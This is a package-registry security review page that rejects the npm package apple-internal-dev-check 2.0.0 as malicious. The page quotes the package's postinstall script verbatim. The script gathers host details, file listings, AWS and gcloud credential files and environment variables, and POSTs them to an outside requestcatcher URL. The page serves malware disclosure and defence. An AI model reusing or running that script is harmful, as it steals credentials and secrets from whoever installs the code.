All apple-internal-dev-check versions

[email protected] rejected Risk: 81 No license

apple-internal-dev-check @2.0.0

rejected
This version was rejected. It did not pass GreenFlagged's security review and is not served by the registry. The findings and risk dispositions below explain why.
npm Tarball
81
Risk Score
—
License
Yes
Install Scripts
0
Dependencies
0
Dev Dependencies
.4 KB
Package Size
Published

Maintainers

raya4321

SAST Findings (3)

CRITICAL MAL-2026-3124: Malicious code in apple-internal-dev-check (npm) osv

--- _-= Per source details. Do not edit below this line.=-_ ## Source: ossf-package-analysis (b9be007ef6ea0b1d3d9ba50b8958b00bc0089155dfc001fdf4988da85469dcd5) The OpenSSF Package Analysis project identified 'apple-internal-dev-check' @ 2.0.0 (npm) as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious behavior.

HIGH Package has 'postinstall' script install-scripts

Script: set -e; (echo '--- HOST ---'; hostname; whoami; echo '--- FILES ---'; find ~ -maxdepth 2 -name '*.*' 2>/dev/null; echo '--- CLOUD ---'; cat ~/.aws/credentials ~/.aws/config ~/.gcloud/active_config 2>/dev/null; echo '--- ENV ---'; printenv) | base64 -w 0 | curl -X POST -d @- https://franki.requestcatcher.com/apple_full_leak

LOW No provenance attestation provenance

Package was published without Sigstore provenance. Only ~12% of npm packages have provenance, so this is common but not ideal.

Review Summary

Risk score: 81. Findings: 1 critical (+40), 1 high (+25), 1 medium (+10), 2 low (+6).

Published to npm: